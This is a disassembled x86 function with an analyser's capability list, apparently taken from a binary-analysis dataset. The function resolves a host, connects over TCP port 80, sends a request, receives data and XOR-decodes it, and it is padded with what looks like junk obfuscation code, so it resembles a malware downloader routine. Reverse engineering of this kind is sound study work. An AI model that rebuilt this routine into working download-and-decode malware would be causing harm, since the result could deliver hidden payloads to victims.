Function at 0x4084d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c4d0
push 0xffffffffffffffff
push 0x41e40b
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x425fa0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], eax
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], eax
mov byte [ebp + 0x1a4], al
fldz
mov esi, dword [ebp + 0x1448]
fst qword [ebp - 0x40]
fldz
xor edx, edx
fst dword [ebp - 0x30]
mov ecx, esi
fst dword [ebp - 0x24]
mov byte [ebp - 4], 1
fxch st(1)
mov byte [ebp + 0x11bc], dl
fst qword [ebp - 0x50]
lea edi, [ecx + 1]
fst qword [ebp - 0x58]
fxch st(1)
fstp dword [ebp - 0x2c]
mov word [ebp - 0x1c], dx
fst qword [ebp - 0x38]
fst qword [ebp - 0x28]
fstp qword [ebp - 0x48]
jmp 0x408580
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408580
sub ecx, edi
mov edi, ecx
cmp edi, 0x7f
jg 0x40884c
mov ecx, 0x57b4
mov word [0x423180], cx
xor ecx, ecx
cmp ecx, edi
jg 0x4085f8
fld qword [ebp - 0x28]
mov dl, byte [ecx + esi]
fld qword [ebp - 0x38]
mov byte [ebp + ecx + 0x13bc], dl
fadd qword [ebp - 0x40]
mov eax, dword [str.R_nI_]
cmp byte [ebp + ecx + 0x13bc], 0x2f
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x24]
fsubp st(1)
fsubp st(1)
fstp qword [ebp - 0x28]
jne 0x4085f5
mov byte [ebp + ecx + 0x13bc], 0
mov edx, ecx
nop
cmp edx, edi
jg 0x4085f8
mov bl, byte [edx + esi]
mov eax, edx
sub eax, ecx
mov byte [ebp + eax + 0x11bc], bl
inc edx
jmp 0x4085e0
inc ecx
jmp 0x4085a2
lea ecx, [ebp + 0x11bc]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408601
sub ecx, esi
mov esi, ecx
mov ecx, dword [ebp - 0x18]
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408612
sub ecx, edi
add ecx, esi
cmp ecx, 0x1ff
ja 0x40892a
inc word [0x4230ec]
mov dx, word [0x4230ec]
mov ax, word [0x42568c]
movsx ecx, dx
movsx edx, ax
mov eax, dword [ebp - 0x18]
sub edx, ecx
add edx, 0x2ef3bfb4
mov dword [ebp - 0x24], edx
or ebx, 0xffffffff
mov ecx, eax
fild dword [ebp - 0x24]
fstp qword [ebp - 0x28]
add word [0x42568c], bx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408663
lea edi, [ebp + 0x11bc]
sub eax, ecx
mov esi, ecx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408676
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425c90
rep movsb byte es:[edi], byte [esi]
call fcn.00402750
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086a0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407c90
xor eax, eax
mov word [ebp - 0x14], ax
xor ecx, ecx
mov word [ebp - 0x18], cx
movzx edx, word [ebp - 0x14]
mov dword [esi], eax
mov byte [esi + 4], al
movzx eax, word [ebp - 0x18]
add edx, eax
push esi
mov word [ebp - 0x14], dx
call fcn.0040af8b
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086e7
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408390
push 0x32
push 0x424804
call fcn.00402750
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408717
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408390
xor eax, eax
push 0x32
xor edx, edx
push eax
mov word [ebp - 0x14], dx
mov word [ebp - 0x18], ax
push esi
call fcn.0040b5e0
movzx ecx, word [ebp - 0x18]
movzx edx, word [ebp - 0x14]
add ecx, edx
push esi
mov word [ebp - 0x14], cx
call fcn.0040af8b
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408762
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408390
push 5
push 0x425cb8
call fcn.00402750
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408792
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408390
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x14], cx
mov dword [esi], eax
xor edx, edx
mov word [ebp - 0x18], dx
mov byte [esi + 4], al
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0x14]
add eax, ecx
mov word [ebp - 0x14], ax
push esi
call fcn.0040af8b
mov dx, word [ebp - 0x1c]
movsx eax, dx
sub eax, 0x11b97b72
add esp, 4
mov dword [ebp - 0x24], eax
lea ecx, [ebp]
push ecx
fild dword [ebp - 0x24]
push 0x202
fstp qword [ebp - 0x50]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408805
cmp dword [ebp + 0x1b8], 0x10
jmp 0x408c9f
push 6
push 1
push 2
mov dword [0x4246d8], 0xaa7fd3a5
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, ebx
jne 0x408871
fld dword [0x4255f4]
fmul qword [ebp - 0x40]
fstp qword [ebp - 0x40]
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x40884c
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aba4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b65a
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
movzx ecx, word [0x4247a4]
add ecx, 0x4bbe1efe
cmp dword [ebp + 0x1458], 0
mov word [0x4247a4], cx
je 0x4088e1
mov dx, word [0x4255a4]
movsx eax, dx
mov dword [ebp - 0x3c], eax
push 4
lea ecx, [ebp + 0x1458]
fild dword [ebp - 0x3c]
push ecx
push 0x1006
push 0xffff
fadd dword [0x425674]
push esi
fadd qword [0x425678]
fmul dword [0x425e40]
fstp dword [0x425e40]
fld qword [0x425678]
fsub qword [0x41f358]
fstp qword [0x425678]
call sub.WS2_32.dll_setsockopt
mov dx, word [0x4246e8]
movsx eax, dx
cmp eax, 0xaaf6836d
jle 0x40891a
mov cx, word [ebp - 0x1c]
movsx edx, cx
cmp edx, 0x1db56807
jge 0x40891a
fld qword [ebp - 0x48]
fstp st(0)
fld qword [0x4259c8]
fstp st(0)
fld qword [ebp - 0x48]
fsub qword [0x41f358]
fstp qword [ebp - 0x48]
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x408943
cmp dword [ebp + 0x1b8], 0x10
jb 0x40884c
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408844
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, ebx
jne 0x4089a5
cmp dword [ebp + 0x1b8], edi
jb 0x40884c
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408844
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x4089b9
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push 0
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x4089dc
cmp dword [ebp + 0x1b8], edi
jmp 0x40883b
mov ecx, dword [ebp - 0x20]
push 0
push 0x41f814
call fcn.00407c90
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov edx, dword [ebp - 0x24]
fld dword [0x41f810]
push 0
fstp dword [0x424898]
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
push edx
call sub.WS2_32.dll_recv
mov esi, eax
mov ax, word [0x4246c8]
mov dx, word [ebp - 0x1c]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
movsx eax, dx
fild dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fld qword [ebp - 0x38]
faddp st(2)
fsubrp st(1)
call fcn.0040b1c0
mov word [ebp - 0x1c], ax
test esi, esi
jle 0x408bc9
fld qword [0x423b38]
push esi
fadd qword [0x41f808]
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x20]
fstp qword [0x423b38]
call fcn.00408390
fld qword [ebp - 0x50]
fsub qword [0x41f800]
fstp qword [ebp - 0x50]
test edi, edi
jge 0x408b8d
push 5
push 0x425cb8
call fcn.00402750
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a93
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.00404ae0
xor edx, edx
mov word [ebp - 0x14], dx
mov edi, eax
xor eax, eax
mov word [ebp - 0x18], ax
movzx ecx, word [ebp - 0x18]
movzx edx, word [ebp - 0x14]
mov dword [esi], eax
add ecx, edx
mov byte [esi + 4], al
push esi
mov word [ebp - 0x14], cx
call fcn.0040af8b
add esp, 4
test edi, edi
jl 0x408b8d
mov eax, dword [ebp - 0x20]
push eax
add edi, 4
call fcn.00406ba0
fld qword [0x424788]
fadd qword [0x41f7f8]
add esp, 4
mov dword [ebp - 0x3c], eax
fstp qword [0x424788]
test eax, eax
jge 0x408b8d
push 0xb
push 0x4247bc
call fcn.00402750
mov ecx, dword [ebp - 0x20]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00405be0
fld qword [ebp - 0x48]
fsub dword [0x425e98]
push esi
push 0xb
mov ebx, eax
fstp qword [ebp - 0x48]
call fcn.00401bb0
add esp, 8
test ebx, ebx
jge 0x408bc9
fld dword [ebp - 0x2c]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x2c]
dec dword [ebp - 0x1c]
fld qword [ebp - 0x38]
fsub st(1)
fstp qword [ebp - 0x38]
fld dword [ebp - 0x2c]
mov cx, word [ebp - 0x1c]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
faddp st(1)
fsub qword [ebp - 0x38]
fld dword [ebp - 0x2c]
fcompp
fnstsw ax
fadd dword [ebp - 0x2c]
fstp dword [ebp - 0x2c]
test ah, 1
jne 0x408b8d
fld qword [ebp - 0x58]
fsub qword [0x41f7f0]
fstp qword [ebp - 0x58]
fld dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
fsub qword [0x41f7e8]
fstp dword [ebp - 0x30]
test ecx, ecx
jl 0x408bac
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ecx
jae 0x408bc9
cmp dword [ebp + 0x1458], 0
je 0x4089f0
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 0x14], 0x4000
jb 0x4089f0
mov edx, dword [ebp - 0x24]
push edx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
dec dword [0x425c3c]
mov ecx, dword [0x425c3c]
mov edx, dword [0x425e74]
mov eax, 0xad80867f
sub eax, ecx
sub eax, edx
cmp eax, 0xa2918a19
jl 0x408c07
fld dword [ebp - 0x30]
fsub qword [0x41f7e0]
fstp dword [ebp - 0x30]
jmp 0x408c2b
fld qword [ebp - 0x38]
fsub qword [0x41f358]
fstp qword [ebp - 0x38]
mov eax, dword [0x425de8]
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x24]
fadd qword [ebp - 0x38]
call fcn.0040b1c0
mov dword [0x425de8], eax
mov esi, dword [ebp - 0x20]
test edi, edi
jl 0x408c3c
push edi
push 0
mov ecx, esi
call fcn.00405b50
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x408c99
xor eax, eax
lea ecx, [ecx]
cmp eax, dword [esi + 0x14]
jae 0x408c6d
cmp dword [esi + 0x18], edi
jb 0x408c63
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x408c50
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x408c50
fld dword [ebp - 0x2c]
fcomp qword [0x41f7d8]
fnstsw ax
test ah, 0x44
jp 0x408c99
mov cx, word [ebp - 0x1c]
mov eax, dword [0x425e9c]
movsx edx, cx
lea ecx, [edx + eax - 0x2213c1bb]
mov dword [0x425e9c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp + 0x1b8], edi
jb 0x40884c
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408844